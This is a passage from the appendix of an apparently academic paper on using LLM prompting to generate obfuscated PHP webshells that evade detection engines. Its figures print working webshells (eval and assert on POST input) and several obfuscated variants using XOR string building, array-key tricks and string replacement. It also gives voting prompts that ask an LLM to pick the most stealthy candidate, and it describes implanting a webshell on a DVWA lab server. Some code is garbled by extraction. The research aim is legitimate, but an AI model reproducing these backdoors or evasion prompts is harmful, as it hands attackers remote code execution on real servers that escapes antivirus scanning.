cape ideas within the corresponding module. 1028

G Example of 2 different voting strategies 1029

Figure 12 presents a concrete example of 2 differ- 1030

ent voting strategies. Left: Small Webshell’s voting 1031

strategy, where all raw webshell information is con- 1032

tained in a single contextual dialog; Right: Large 1033

12
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Figure 8: An example of webshell AST structure

<?php
$a = 1;
$b = 2;

Zend_disass(“$a+$b”);
?>

Function Name:   main
0000: FETCH_CONSTANT   $0   “1”
0001: ASSIGN                      $1   $0
0002: FETCH_CONSTANT   $0   “2”
0003: ASSIGN                      $2   $0
0004: ADD                           $3   $1   $2
0005: ECHO                         $3
0006: RETURN_NULL

Figure 9: A typical example of generating opcodes
through VLD disassembler

Webshell’s voting strategy, where information is1034

compressed for every candidate generated by LLM.1035

H Explanation of Contextual Memory1036

Range1037

For Hybrid Prompt itself, it is impossible to com-1038

press the history information like many NLP tasks1039

(e.g. contextual conversations) because it would1040

result in a significant loss of raw webshell informa-1041

tion. Hence, Contextual Memory Range refers to1042

the scope of each iteration in the Hybrid Prompt1043

algorithm. At this stage, the only contextual infor-1044

mation required for the next iteration round is the1045

candidate output selected by the winning vote strat-1046

egy in the previous iteration. Therefore, defining1047

the Contextual Memory Range ensures the continu-1048

ity of information memory throughout the complete1049

Hybrid Prompt algorithm. Correspondingly, O
′
n,1050

Vn within the body of the "for" loop in the Algo-1051

rithm 2 are the local contextual contents that LLM1052

needs to memorize.1053

I Effect of module order on the Hybrid1054

Prompt algorithm1055

In Figure 13, if the “String XOR Encryption" mod-1056

ule is placed in front of the “Symbol Interference"1057

module, the encrypted webshell sample is no longer1058

“text-readable”, resulting in a high probability of1059

hallucination when LLM executes to the “Symbol1060

Interference" module, and triggering a series of1061

subsequent generation errors. Therefore, during1062

the implementation of Hybrid Prompt algorithm,1063

we strictly constrain the relative positions between 1064

different modules. 1065

J Virtual attack environment 1066

Specifically, we use a virtual environment simu- 1067

lating a vulnerable server in DVWA and apply 1068

AntSword virtual environment for attack testing. 1069

In Figure 14, the attacker exploits vulnerabilities 1070

in the DVWA server to perform a File Upload op- 1071

eration and implant a webshell file. Subsequently, 1072

the attacker utilizes the remote connection feature 1073

of the webshell file in AntSword to gain opera- 1074

tional privileges on the DVWA server and execute 1075

malicious behaviors. 1076

K Supplementary materials for the 1077

experimental results 1078

Additional Explanations. By default, we set the 1079

number of candidates p to 3. Due to the frequent 1080

updating and maintenance of detection engines, 1081

the actual test results may differ slightly from the 1082

results presented in this paper. However, the ex- 1083

perimental results can still effectively reflect the 1084

performance differences and data trends among 1085

different methods. 1086

Figure 15 and Figure 16 visualize the perfor- 1087

mance differences as reflected in Table 2 and Table 1088

3 respectively. 1089
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Figure 10: Hierarchial module structure in Hybrid Prompt

Array methods

<?php assert($_POST['q']);?>

<?php
$a1 = 
array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2 = 
array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"g
ood_boy","t"=>"hey");
$result = array_intersect_key($a1, $a2);
$a = array_keys($result);
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['q'];
@$man(`/**/`.$kk=$kk);
print_r($a1);
?>

Original webshell sample:

Webshell obtained after using 
the corresponding method:

Description:

This method uses a combination of php array intersection operation and dynamic code 
execution, by performing array intersection operation on variables "a1", "a2", assigning the 

result to the variable "result", then taking the array key-value and assigning it to the variable 
"a". By string splicing, the string "assert" is assigned to the variable "man", and finally the 

dynamic execution method is used to execute the webshell. This way also hides the sensitive 
function "assert" and escapes detection by the antivirus engine.

<?php assert($_POST['q']);?>

<?php
$b = substr_replace("assexx","rt",4);
$a = array($array = array(" => $b($_POST['q'])));
var_dump($a);
?>

Original webshell sample:

Webshell obtained after using 
the corresponding method:

Description:

The code first obfuscates the sensitive function "assert", then assigns the webshell 
"assert($_POST['q']);" to the variable "a" using a two-dimensional array, and finally executes 

the webshell using the var_dump method. The use of two-dimensional arrays can further 
improve the success rate of escaping antivirus engine.

...

Chain

Figure 11: The structure of Fe chain for each module

Vote Input
Here is several code candidates:

Plan1:

```
<?php eval("/*comment1*/"."/*comment2*/".$_POST['cmd']."/*comment3*/"."/*comment4*/"); ?>
```
Plan2:
```
<?php
class x
{
        function __construct()
        {      
                @eval("/*comment5*/"."/*comment6*/".$_POST['cmd']."/*comment7*/"."/*comment8*/");
        }

}
new x();
?>
```
Plan3:
```
<?php
class y
{
  
        function __construct()
        {      
                $cmd = $_POST['cmd'];
                $cmd = preg_replace('/[a-zA-Z]/', '', $cmd);
                preg_match('/[a-zA-Z]*/', $cmd, $matches);
                $cmd = str_replace($matches, '', $cmd);
                eval("/*comment9*/"."/*comment10*/".$cmd."/*comment11*/"."/*comment12*/");
        }

}
new y();
?>
```

Here is an Few-shot Example:
Original webshell sample:
'''
<?php @eval($_POST('a'));?>
'''
Webshell obtained after using the corresponding method:
'''
<?php
class x
{
 
        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();
?>
'''
Description:
The above code uses the method of 'Add unrelated comments' to prevent the attack code from 
being directly spliced into 'eval($_POST['a'])' to be recognized by the check engine, and uses the 
class and constructor encapsulation in the php language to further increase the stealthiness of the 
code.

Based on the several code candidates generated above, consider which one is the most promising. 
You need to consider the obfuscation and steganography of a Plan, as well as the differences 
between it and the previously provided Examples, and prioritize the Plans that are highly 
obfuscated and have fewer differences from the Examples.
Please analyze each Plan in detail. You should output strictly in the following format:
```
The best Plan is XX".
```
Where "XX" is the number of the plan you think is optimal. In addition to the formatted output 
specified above, please do not output additional explanatory statements.

Small Webshell

Vote Input
Here is several code candidates:

Plan1:

```
<?php eval("/*comment1*/"."/*comment2*/".$_POST['cmd']."/*comment3*/"."/*comment4*/"); ?>
```
Plan2:
```
<?php
class x
{
        function __construct()
        {      
                @eval("/*comment5*/"."/*comment6*/".$_POST['cmd']."/*comment7*/"."/*comment8*/");
        }

}
new x();
?>
```
Plan3:
```
<?php
class y
{
  
        function __construct()
        {      
                $cmd = $_POST['cmd'];
                $cmd = preg_replace('/[a-zA-Z]/', '', $cmd);
                preg_match('/[a-zA-Z]*/', $cmd, $matches);
                $cmd = str_replace($matches, '', $cmd);
                eval("/*comment9*/"."/*comment10*/".$cmd."/*comment11*/"."/*comment12*/");
        }

}
new y();
?>
```

Here is an Few-shot Example:
Original webshell sample:
'''
<?php @eval($_POST('a'));?>
'''
Webshell obtained after using the corresponding method:
'''
<?php
class x
{
 
        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();
?>
'''
Description:
The above code uses the method of 'Add unrelated comments' to prevent the attack code from 
being directly spliced into 'eval($_POST['a'])' to be recognized by the check engine, and uses the 
class and constructor encapsulation in the php language to further increase the stealthiness of the 
code.

Based on the several code candidates generated above, consider which one is the most promising. 
You need to consider the obfuscation and steganography of a Plan, as well as the differences 
between it and the previously provided Examples, and prioritize the Plans that are highly 
obfuscated and have fewer differences from the Examples.
Please analyze each Plan in detail. You should output strictly in the following format:
```
The best Plan is XX".
```
Where "XX" is the number of the plan you think is optimal. In addition to the formatted output 
specified above, please do not output additional explanatory statements.

Small Webshell

Vote Input
Here is several code descriptions:

Description1:

This plan uses the `eval` function and concatenates comments with the `$_POST['cmd']` input.

Description2:
This plan uses a class and constructor to enclose the `eval` function. It also concatenates comments with the 
`$_POST['cmd']` input.

Description3:
This plan also uses a class and constructor to enclose the `eval` function. It performs some string manipulation on 
the `$_POST['cmd']` input, removing alphabetic characters before evaluation. It also concatenates comments with 
the evaluated code.    
     

Here is an Few-shot Example:
Original webshell sample:
'''
<?php @eval($_POST('a'));?>
'''
Webshell obtained after using the corresponding method:
'''
<?php
class x
{
 
        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();
?>
'''
Description:
The above code uses the method of 'Add unrelated comments' to prevent the attack code from being directly 
spliced into 'eval($_POST['a'])' to be recognized by the check engine, and uses the class and constructor 
encapsulation in the php language to further increase the stealthiness of the code.

Based on the several code plans generated above, consider which one is the most promising. You need to 
consider the obfuscation and steganography of a Plan, as well as the differences between it and the previously 
provided Examples, and prioritize the Plans that are highly obfuscated and have fewer differences from the 
Examples.
Please analyze each Plan in detail. You should output strictly in the following format:
```
The best Plan is XX".
```
Where "XX" is the number of the plan you think is optimal. In addition to the formatted output specified above, 
please do not output additional explanatory statements.

Large Webshell
Vote Input

Here is several code descriptions:

Description1:

This plan uses the `eval` function and concatenates comments with the `$_POST['cmd']` input.

Description2:
This plan uses a class and constructor to enclose the `eval` function. It also concatenates comments with the 
`$_POST['cmd']` input.

Description3:
This plan also uses a class and constructor to enclose the `eval` function. It performs some string manipulation on 
the `$_POST['cmd']` input, removing alphabetic characters before evaluation. It also concatenates comments with 
the evaluated code.    
     

Here is an Few-shot Example:
Original webshell sample:
'''
<?php @eval($_POST('a'));?>
'''
Webshell obtained after using the corresponding method:
'''
<?php
class x
{
 
        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();
?>
'''
Description:
The above code uses the method of 'Add unrelated comments' to prevent the attack code from being directly 
spliced into 'eval($_POST['a'])' to be recognized by the check engine, and uses the class and constructor 
encapsulation in the php language to further increase the stealthiness of the code.

Based on the several code plans generated above, consider which one is the most promising. You need to 
consider the obfuscation and steganography of a Plan, as well as the differences between it and the previously 
provided Examples, and prioritize the Plans that are highly obfuscated and have fewer differences from the 
Examples.
Please analyze each Plan in detail. You should output strictly in the following format:
```
The best Plan is XX".
```
Where "XX" is the number of the plan you think is optimal. In addition to the formatted output specified above, 
please do not output additional explanatory statements.

Large Webshell

LLMLLM

Candidate 1

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Candidate 1

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Candidate 2

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Candidate 2

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Candidate 3

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Candidate 3

Code:
```
<?php
XXXXXXX.
?>
```
Description:
XXXXX

Figure 12: Comparison of 2 different vote ideas
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Template webshell code Code Scrambling Symbol Interference String XOR Encryption Final output sample

Module

Template webshell code Code ScramblingSymbol InterferenceString XOR Encryption Final output sample

Module

<?php
$___=('_'^'0').'o'.'_^'!'') . ('_'^'/') . 'l'.'_^'9') . ('_'^'3');
$_pO_sT = "_" . ('}'^'6') .('/'^']') .('/'^'(') .('['^'3'); 
$WORDS = ('}'^']').('}'^"\)").('}'^'/').('}'^',').('}'^'9').('}'^'2'); 
$S____T = ('~'^'n').('~'^'y').('~'^'z').('~'^']').('~'^'}').('~'^'x');
$Shuff_ = ('.'^'h').('.'^'x').('.'^"\"").('.'^']').('.'^'_').('.'^'s');
$Implode_ = ('@'^']').('@'^'/').('@'^'[').('@'^'z').('@'^'\\').('@'^'z');
$CMD_ = ('['^'5').('['^'o').('['^'s').('['^'f');
$func1 = $___($WORDS . $S____T);
$func2 = $___($S____T);
$func3 = $___($Shuff_);
$func4 = $___($Implode_);
$scrambled = $func1('bm90aGluZw==');
$ark='scrambled';
$$ark=$_pO_sT[$CMD_];
$evalFunc = $___(('['^'4').('['^"'") .("["^'b'));
$evalFunc(``.$scrambled);
?>

<?php
$___=('_'^'0').'o'.'_^'!'') . ('_'^'/') . 'l'.'_^'9') . ('_'^'3');
$_pO_sT = "_" . ('}'^'6') .('/'^']') .('/'^'(') .('['^'3'); 
$WORDS = ('}'^']').('}'^"\)").('}'^'/').('}'^',').('}'^'9').('}'^'2'); 
$S____T = ('~'^'n').('~'^'y').('~'^'z').('~'^']').('~'^'}').('~'^'x');
$Shuff_ = ('.'^'h').('.'^'x').('.'^"\"").('.'^']').('.'^'_').('.'^'s');
$Implode_ = ('@'^']').('@'^'/').('@'^'[').('@'^'z').('@'^'\\').('@'^'z');
$CMD_ = ('['^'5').('['^'o').('['^'s').('['^'f');
$func1 = $___($WORDS . $S____T);
$func2 = $___($S____T);
$func3 = $___($Shuff_);
$func4 = $___($Implode_);
$scrambled = $func1('bm90aGluZw==');
$ark='scrambled';
$$ark=$_pO_sT[$CMD_];
$evalFunc = $___(('['^'4').('['^"'") .("["^'b'));
$evalFunc(``.$scrambled);
?>

<?php
$func1 = str_replace("d", "", 
"worddScrdamble");
$func2 = str_replace("s", "", "strs_split");
$func3 = str_replace("u", "", "shufflue");
$func4 = str_replace("i", "", "impliode");
$scrambled = $func1('hello');
$ark='scrambled';
$$ark=$_POST['cmd'];
$evalFunc = str_replace("a", "", "aeval");
$evalFunc(``.$scrambled);
?>

<?php
$func1 = str_replace("d", "", 
"worddScrdamble");
$func2 = str_replace("s", "", "strs_split");
$func3 = str_replace("u", "", "shufflue");
$func4 = str_replace("i", "", "impliode");
$scrambled = $func1('hello');
$ark='scrambled';
$$ark=$_POST['cmd'];
$evalFunc = str_replace("a", "", "aeval");
$evalFunc(``.$scrambled);
?>

<?php
function wordScramble($word) 
{ $str = str_split ( $ word);   
shuffle($str);
return implode('', $str); } 
$scrambled = wordScramble 
('hello');
eval($_POST['cmd']);
?>

<?php
function wordScramble($word) 
{ $str = str_split ( $ word);   
shuffle($str);
return implode('', $str); } 
$scrambled = wordScramble 
('hello');
eval($_POST['cmd']);
?><?php eval($_POST[‘cmd’]);?><?php eval($_POST[‘cmd’]);?>Intermediate result

<?php
$_ = ('%01' ^ '`') . ('%13' ^ '`') . 
('%13' ^ '`') . ('%05' ^ '`') . ('%12' 
^ '`') . ('%14' ^ '`'); 
$__ = '_' . ('%0D' ^ ']') . ('%2F' ^ 
'`') . ('%0E' ^ ']') . ('%09' ^ ']'); 
$___ = $$__;
$_($___['cmd']);
?>

<?php
$_ = ('%01' ^ '`') . ('%13' ^ '`') . 
('%13' ^ '`') . ('%05' ^ '`') . ('%12' 
^ '`') . ('%14' ^ '`'); 
$__ = '_' . ('%0D' ^ ']') . ('%2F' ^ 
'`') . ('%0E' ^ ']') . ('%09' ^ ']'); 
$___ = $$__;
$_($___['cmd']);
?>

<?php eval($_POST[‘cmd’]);?><?php eval($_POST[‘cmd’]);?>Intermediate result
Unreadable

Figure 13: Effect of module order on the Hybrid Prompt algorithm (Incorrect module order can result in abnormal
output from the LLM)

Figure 14: Virtual attack environment. Above: DVWA
server; Below: AntSword attack interface.
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Figure 15: Performance comparison of different LLM
models on Hybrid Prompt algorithm
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Figure 16: Visualization of ablation analysis results for
Hybrid Prompt algorithm
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